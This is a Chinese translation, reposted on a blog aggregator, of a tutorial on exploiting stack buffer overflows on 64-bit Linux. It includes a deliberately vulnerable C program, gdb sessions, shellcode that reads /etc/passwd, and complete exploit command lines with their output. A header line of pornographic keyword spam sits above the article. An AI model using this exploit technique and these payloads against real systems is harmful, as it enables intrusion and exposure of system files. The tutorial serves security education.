日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 运维知识 > linux >内容正文

linux

linux64 溢出,64位Linux下的栈溢出

發(fā)布時間:2024/4/17 linux 28 豆豆
生活随笔 收集整理的這篇文章主要介紹了 linux64 溢出,64位Linux下的栈溢出 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

from:http://packetstormsecurity.com/files/download/127007/64bit-overflow.pdf

本文的目的是讓大家學(xué)到64位緩沖區(qū)溢出的基礎(chǔ)知識。 作者M(jìn)r.Un1k0d3r?RingZer0?Team

摘要

0x01?x86和x86_64的區(qū)別

0x02?漏洞代碼片段

0x03?觸發(fā)溢出

0x04?控制RIP

0x05?跳入用戶控制的緩沖區(qū)

0x06?執(zhí)行shellcode

0x07?GDB?vs?現(xiàn)實

0x08?結(jié)語

0x01?x86和x86_64的區(qū)別

第一個主要區(qū)別就是內(nèi)存地址的大小。這沒啥可驚奇的:?不過即便內(nèi)存地址有64位長用戶空間也只能使用前47位要牢記這點(diǎn)因為當(dāng)你指定一個大于0x00007fffffffffff的地址時會拋出一個異常。那也就意味著0x4141414141414141會拋出異常而0x0000414141414141是安全的。當(dāng)你在進(jìn)行模糊測試或編寫利用程序的時候我覺得這是個很巧妙的部分。

事實上還有很多其他的不同但是考慮到本文的目的不了解所有的差異也沒關(guān)系。

0x02?漏洞代碼片段

#!cpp

int main(int argc, char **argv) {

char buffer[256];

if(argc != 2) {

exit(0);

}

printf("%p\n", buffer);

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

return 0;

}

為了節(jié)省漏洞利用的時間我決定打印緩沖區(qū)指針地址。

你可以用gcc編譯上述代碼。

#!bash

$ gcc -m64 bof.c -o bof -z execstack -fno-stack-protector

這樣就一切妥當(dāng)了。

0x03?觸發(fā)溢出

首先我們來確認(rèn)一下確實可以讓這個進(jìn)程崩潰。

#!cpp

$ ./bof $(python -c 'print "A" * 300')

0x7fffffffdcd0

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA

Segmentation fault (core dumped)

好來確認(rèn)一下我們控制的RIP指令指針

你可以通過stepi單步執(zhí)行來過一遍程序流程譯者應(yīng)該用ni比較合適。 當(dāng)過了strcpy調(diào)用(0x40066c)之后你會發(fā)現(xiàn)當(dāng)前緩沖區(qū)指針指向0x7fffffffdc90而不是0x7fffffffdcd0這是gdb的環(huán)境變量和其他東西造成的。不過現(xiàn)在我們不關(guān)心之后會解決的。 重要的說明* 在之后的內(nèi)容中當(dāng)我提到leave指令時就是指的上面的地址0x400685。 最后這是strcpy過后的棧

#!bash

(gdb)?x/20xg?$rsp

0x7fffffffdc80:?0x00007fffffffde78?0x00000002f7ffe520

0x7fffffffdc90:?0x4141414141414141?0x4141414141414141

0x7fffffffdca0:?0x4141414141414141?0x4141414141414141

0x7fffffffdcb0:?0x4141414141414141?0x4141414141414141

0x7fffffffdcc0:?0x4141414141414141?0x4141414141414141

0x7fffffffdcd0:?0x4141414141414141?0x4141414141414141

0x7fffffffdce0:?0x4141414141414141?0x4141414141414141

0x7fffffffdcf0:?0x4141414141414141?0x4141414141414141

0x7fffffffdd00:?0x4141414141414141?0x4141414141414141

0x7fffffffdd10:?0x4141414141414141?0x4141414141414141

接著主函數(shù)(main)中的leave指令把rsp指向0x7fffffffdd98。 棧就變成了這樣子

#!bash

(gdb)?x/20xg?$rsp

0x7fffffffdd98:?0x4141414141414141?0x4141414141414141

0x7fffffffdda8:?0x4141414141414141?0x4141414141414141

0x7fffffffddb8:?0x0000000041414141?0x0000000000000000

0x7fffffffddc8:?0xa1c4af9213d095db?0x0000000000400520

0x7fffffffddd8:?0x00007fffffffde70?0x0000000000000000

0x7fffffffdde8:?0x0000000000000000?0x5e3b506da89095db

0x7fffffffddf8:?0x5e3b40d4af2a95db?0x0000000000000000

0x7fffffffde08:?0x0000000000000000?0x0000000000000000

0x7fffffffde18:?0x0000000000400690?0x00007fffffffde78

0x7fffffffde28:?0x0000000000000002?0x0000000000000000

(gdb)?stepi

Program?received?signal?SIGSEGV,?Segmentation?fault.

好極了我們有SIGSEGV的時機(jī)去查看當(dāng)前寄存器的值。

#!bash

(gdb)?i?r

rax? 0x0? 0

rbx? 0x0? 0

rcx? 0xffffffffffffffff??-1

rdx? 0x7ffff7dd59e0?140737351866848

rsi? 0x7ffff7ff7000?140737354100736

rdi? 0x1? 1

rbp? 0x4141414141414141?0x4141414141414141

rsp?? 0x7fffffffdd98??0x7fffffffdd98

r8? 0x4141414141414141?4702111234474983745

r9? 0x4141414141414141?4702111234474983745

r10? 0x4141414141414141?4702111234474983745

r11? 0x246?582

r12? 0x400520?4195616

r13? 0x7fffffffde70?140737488346736

r14? 0x0? 0

r15?? 0x0? 0

rip? 0x400686?0x400686?

eflags? 0x10246? [?PF?ZF?IF?RF?]

cs? 0x33? 51

ss? 0x2b? 43

ds? 0x0? 0

es? 0x0? 0

fs? 0x0? 0

gs? 0x0? 0

(gdb)?stepi

Program?terminated?with?signal?SIGSEGV,?Segmentation?fault.

The?program?no?longer?exists.

好了程序就這樣結(jié)束了我們沒能控制RIP為什么因為我們覆蓋了太多位記得最大的地址是0x00007fffffffffff吧而我們嘗試用0x4141414141414141去溢出了。

0x04?控制RIP

我們發(fā)現(xiàn)了個小問題不過只要是問題總有辦法解決的我們可以用個小一點(diǎn)的緩沖區(qū)去溢出這樣指向rsp的地址就會像0x0000414141414141一樣了。 通過簡單的數(shù)學(xué)運(yùn)算就可以很輕松地算出我們緩沖區(qū)的大小。我們知道緩沖區(qū)開始于0x7fffffffdc90。Leave指令之后rsp將指向0x7fffffffdd98。

0x7fffffffdd98?-?0x7fffffffdc90?=?0x108?->?十進(jìn)制的264

知道了這些我們可以把溢出載荷修改成這樣

"A"?*?264?+?"B"?*?6

rsp指向的地址應(yīng)該像0x0000424242424242一樣正常了。那樣就能控制RIP。

#!bash

$?gdb?-tui?bof

(gdb)?set?disassembly-flavor?intel

(gdb)?layout?asm

(gdb)?layout?regs

(gdb)?break?main

(gdb)?run?$(python?-c?'print?"A"?*?264?+?"B"?*?6')

這次我們直接看調(diào)用leave指令后的狀況。 這是leave指令執(zhí)行后的棧

#!bash

(gdb)?x/20xg?$rsp

0x7fffffffddb8:?0x0000424242424242?0x0000000000000000

0x7fffffffddc8:?0x00007fffffffde98?0x0000000200000000

0x7fffffffddd8:?0x000000000040060d?0x0000000000000000

0x7fffffffdde8:?0x2a283aca5f708a47?0x0000000000400520

0x7fffffffddf8:?0x00007fffffffde90?0x0000000000000000

0x7fffffffde08:?0x0000000000000000?0xd5d7c535e4f08a47

0x7fffffffde18:?0xd5d7d58ce38a8a47?0x0000000000000000

0x7fffffffde28:?0x0000000000000000?0x0000000000000000

0x7fffffffde38:?0x0000000000400690?0x00007fffffffde98

0x7fffffffde48:?0x0000000000000002?0x0000000000000000

這是leave指令執(zhí)行后寄存器的值

#!bash

(gdb)?i?r

rax? 0x0? 0

rbx? 0x0? 0

rcx? 0xffffffffffffffff??-1

rdx??? 0x7ffff7dd59e0?140737351866848

rsi? 0x7ffff7ff7000?140737354100736

rdi? 0x1? 1

rbp? 0x4141414141414141?0x4141414141414141

rsp?? 0x7fffffffddb8??0x7fffffffddb8

r8? 0x4141414141414141?4702111234474983745

r9? 0x4141414141414141?4702111234474983745

r10? 0x4141414141414141?4702111234474983745

r11? 0x246?r12?0x400520?4195616

r13? 0x7fffffffde90?140737488346768

r14???? 0x0? 0

r15? 0x0? 0

rip? 0x400686?0x400686?

eflags? 0x246?[?PF?ZF?IF?]

cs? 0x33? 51

ss? 0x2b? 43

ds? 0x0? 0

es? 0x0? 0

fs? 0x0???? 0

gs? 0x0? 0

rsp指向0x7fffffffddb8而0x7fffffffddb8的內(nèi)容就是0x0000424242424242。看來一切正常是時候執(zhí)行ret指令了。

#!bash

(gdb)?stepi

Cannot?access?memory?at?address?0x424242424242

Cannot?access?memory?at?address?0x424242424242

(gdb)?i?r

rax? 0x0? 0

rbx? 0x0? 0

rcx? 0xffffffffffffffff??-1

rdx? 0x7ffff7dd59e0?140737351866848

rsi? 0x7ffff7ff7000?140737354100736

rdi? 0x1? 1

rbp? 0x4141414141414141???0x4141414141414141

rsp?? 0x7fffffffddc0??0x7fffffffddc0

r8? 0x4141414141414141?4702111234474983745

r9? 0x4141414141414141?4702111234474983745

r10? 0x4141414141414141?4702111234474983745

r11???? 0x246? 582

r12? 0x400520?4195616

r13? 0x7fffffffde90?140737488346768

r14? 0x0? 0

r15? 0x0? 0

rip?? 0x424242424242??0x424242424242

eflags? 0x246?[?PF?ZF?IF?]

cs? 0x33????51

ss? 0x2b? 43

ds? 0x0? 0

es? 0x0? 0

fs? 0x0? 0

gs? 0x0? 0

我們最終控制了rip

0x05?跳入用戶控制的緩沖區(qū)

事實上這部分內(nèi)容沒什么特別的或者新的東西你只需要指向你控制的緩沖區(qū)開頭。也就是第一個printf顯示出來的值在這里是0x7fffffffdc90。通過gdb也可以很容易地重新獲得這個值你只需在調(diào)用strcpy之后顯示棧。

#!bash

(gdb)?x/4xg?$rsp

0x7fffffffdc80:?0x00007fffffffde98?0x00000002f7ffe520

0x7fffffffdc90:?0x4141414141414141?0x4141414141414141

是時候更新我們的載荷了。新的載荷看起來像這樣

"A"?*?264?+?"\x7f\xff\xff\xff\xdc\x90"[::-1]

因為是小端結(jié)構(gòu)所以我們需要把內(nèi)存地址反序。這就是python語句[::-1]所實現(xiàn)的。

確認(rèn)下我們跳入正確的地址。

#!bash

$?gdb?-tui?bof

(gdb)?set?disassembly-flavor?intel

(gdb)?layout?asm

(gdb)?layout?regs

(gdb)?break?main

(gdb)?run?$(python?-c?'print?"A"?*?264?+

"\x7f\xff\xff\xff\xdc\x90"[::-1]')

(gdb)?x/20xg?$rsp

0x7fffffffddb8:?0x00007fffffffdc90??0x0000000000000000

0x7fffffffddc8:?0x00007fffffffde98?0x0000000200000000

0x7fffffffddd8:?0x000000000040060d?0x0000000000000000

0x7fffffffdde8:?0xe72f39cd325155ac?0x0000000000400520

0x7fffffffddf8:?0x00007fffffffde90?0x0000000000000000

0x7fffffffde08:?0x0000000000000000?0x18d0c63289d155ac

0x7fffffffde18:?0x18d0d68b8eab55ac?0x0000000000000000

0x7fffffffde28:?0x0000000000000000?0x0000000000000000

0x7fffffffde38:?0x0000000000400690?0x00007fffffffde98

0x7fffffffde48:?0x0000000000000002?0x0000000000000000

這是執(zhí)行l(wèi)eave指令后的棧。如我們所知rsp指向0x7fffffffddb8。0x7fffffffddb8的內(nèi)容是0x00007fffffffdc90。最后0x00007fffffffdc90指向我們控制的緩沖區(qū)。

(gdb)?stepi

ret指令執(zhí)行后rip指向0x7fffffffdc90這意味著我們跳入了正確的位置。

0x06?執(zhí)行shellcode

在這個例子中我準(zhǔn)備用個定制的shellcode去讀/etc/passwd的內(nèi)容。

#!bash

BITS?64

;?Author?Mr.Un1k0d3r?-?RingZer0?Team

;?Read?/etc/passwd?Linux?x86_64?Shellcode

;?Shellcode?size?82?bytes

global?_start

section?.text

_start:

jmp?_push_filename

_readfile:

;?syscall?open?file

pop?rdi???;?pop?path?value

;?NULL?byte?fix

xor?byte?[rdi?+?11],?0x41

xor?rax,?rax

add?al,?2

xor?rsi,?rsi??;?set?O_RDONLY?flag

syscall

;?syscall?read?file

sub?sp,?0xfff

lea?rsi,?[rsp]

mov?rdi,?rax

xor?rdx,?rdx

mov?dx,?0xfff???;?size?to?read

xor?rax,?rax

syscall

;?syscall?write?to?stdout

xor?rdi,?rdi

add?dil,?1?;?set?stdout?fd?=?1

mov?rdx,?rax

xor?rax,?rax

add?al,?1

syscall

;?syscall?exit

xor?rax,?rax

add?al,?60

syscall

_push_filename:

call?_readfile

path:?db?"/etc/passwdA"

接下來匯編這個文件然后提取shellcode。

#!bash

$?nasm?-f?elf64?readfile.asm?-o?readfile.o

$?for?i?in?$(objdump??-d?readfile.o?|?grep?"^?"?|?cut??-f2);?do?echo??-n? '\x'$i;?done;?echo

\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x6

6\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x

0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\

xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f

\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41

這個shellcode長82字節(jié)。來構(gòu)造最終的載荷吧。

原來的載荷

#!bash

$(python?-c?'print?"A"?*?264?+?"\x7f\xff\xff\xff\xdc\x90"[::-1]')

我們要保證一樣的大小所以264?-?82?=?182

#!bash

$(python?-c?'print?"A"?*?182?+?"\x7f\xff\xff\xff\xdc\x90"[::-1]')

然后把shellcode接在開頭

#!bash

$(python?-c?'print

"\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x

66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\

x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31

\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2

f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41"?+?"A"?*?182?+

"\x7f\xff\xff\xff\xdc\x90"[::-1]')

來把所有東西一塊兒測試

#!bash

$?gdb?–tui?bof

(gdb)?run?$(python?-c?'print

"\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x

66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\

x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31

\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2

f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41"?+?"A"?*?182?+

"\x7f\xff\xff\xff\xdc\x90"[::-1]')

如果一切正常你就會看到/etc/passwd的內(nèi)容。要注意內(nèi)存地址是可以變化的這樣可能就和我這里的不同了。

0x07?GDB?vs?現(xiàn)實

因為gdb會初始化一些變量和其他的東西所以如果你試著在gdb之外使用同樣的利用腳本就會失敗。不過在這個例子中我加了個對printf的調(diào)用來輸出緩沖區(qū)指針。這樣我們就可以很容易地找到正確的值并且在真實的環(huán)境中獲得地址。

這是使用我們在gdb中找到的值的真實版本

#!bash

$?./bof?$(python?-c?'print?"\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31

\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34

\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05

\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f

\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74

\x63\x2f\x70\x61\x73\x73\x77\x64\x41"?+?"A"?*?182?+

"\x7f\xff\xff\xff\xdc\x90"[::-1]')

0x7fffffffdcf0

?_w

[email?protected]<

/etc/passwdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAA?

Illegal?instruction?(core?dumped)

很顯然利用不成功。因為地址已經(jīng)從0x7fffffffdc90變成了0x7fffffffdcf0。幸好有這點(diǎn)printf的輸出我們只需用正確的值調(diào)整一下載荷。

#!bash

$?./bof?$(python?-c?'print?"\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31

\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34

\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05

\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f

\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74

\x63\x2f\x70\x61\x73\x73\x77\x64\x41"?+?"A"?*?182?+

"\x7f\xff\xff\xff\xdc\xf0"[::-1]')

0x7fffffffdcf0

?_w

[email?protected]<

/etc/passwdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAA?

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

換成正確的值之后利用一切正常。

0x08?結(jié)語

希望你們能喜歡這篇關(guān)于Linux下x86_64緩沖區(qū)溢出的文章,有很多關(guān)于x86溢出的文章了,但64位的溢出比較少見。

祝你們拿到好多好多shell!

感謝

總結(jié)

以上是生活随笔為你收集整理的linux64 溢出,64位Linux下的栈溢出的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。